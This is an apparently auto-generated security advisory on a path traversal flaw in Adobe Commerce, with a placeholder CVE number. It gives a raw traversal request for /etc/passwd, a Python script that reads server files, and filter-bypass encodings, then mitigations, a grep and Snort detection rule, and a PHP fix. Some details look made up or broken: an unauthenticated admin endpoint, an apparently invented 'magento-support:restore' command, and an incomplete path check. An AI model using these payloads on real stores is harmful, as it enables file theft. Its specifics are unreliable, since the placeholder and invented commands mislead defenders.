Adobe Commerce, Path Traversal Vulnerability, CVE-2025-XXXX (Critical)

The CVE-2025-XXXX vulnerability in Adobe Commerce (formerly Magento) is a critical Path Traversal flaw affecting versions 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11, and earlier. This vulnerability arises due to improper sanitization of user-supplied input in file operations, allowing an unauthenticated attacker to manipulate paths and access or modify files outside the intended restricted directory. By crafting malicious requests containing directory traversal sequences (e.g., ../), an attacker can bypass security controls and overwrite critical system files, potentially leading to remote code execution (RCE) or data leakage. Exploitation requires no user interaction, making it highly dangerous for unpatched systems.

DailyCVE Form:

Platform: Adobe Commerce
Version: ≤2.4.8-beta1
Vulnerability: Path Traversal
Severity: Critical
Date: 2025-03-17

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

GET /admin/cms/file/edit?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable-store.com

2. Automated Exploit (Python):

import requests
target = "http://vulnerable-store.com/admin/cms/file/edit"
payload = {"file": "../../../../var/log/system.log"}
response = requests.get(target, params=payload)
print(response.text)

3. Bypass Filters: Use URL-encoded traversal (%2e%2e%2f) or double slashes (....//).

Mitigation:

1. Patch Immediately: Apply Adobe Security Bulletin APSB25-08.

2. Input Validation:

$file = basename($_GET['file']); // Sanitize input

3. Web Server Rules (Apache):

<LocationMatch "/admin/cms/file/edit">
Require all denied
</LocationMatch>

4. File Permissions: Restrict write access to web directories:

chown -R root:www-data /var/www/html
chmod -R 750 /var/www/html

Detection:

1. Log Analysis:

grep "../" /var/log/apache2/access.log

2. IDS Rule (Snort):

alert tcp any any -> $WEB_SERVERS 80 (msg:"Path Traversal Attempt"; content:"/../"; sid:1000001;)

Post-Exploit Actions:

1. Restore Backups:

magento-support:restore --backup=pre_exploit.tar.gz

2. Forensic Analysis:

find /var/www/html -type f -mtime -1 -ls

Developer Fix:

// Before (Vulnerable):
$file = $_GET['file'];
// After (Fixed):
$file = realpath(BASE_DIR . ltrim($_GET['file'], '/'));
if (strpos($file, BASE_DIR) !== 0) {
die("Invalid path");
}

Note: Disable admin panel exposure to the internet if unused. Use WAFs (ModSecurity) to block traversal patterns.
